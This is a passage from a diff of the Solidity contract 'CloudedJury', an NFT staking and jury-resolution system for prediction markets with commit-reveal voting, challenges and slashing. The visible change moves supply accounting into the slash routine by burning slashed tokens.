     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
+        _burn(_tokenId);
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
-            totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,646 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
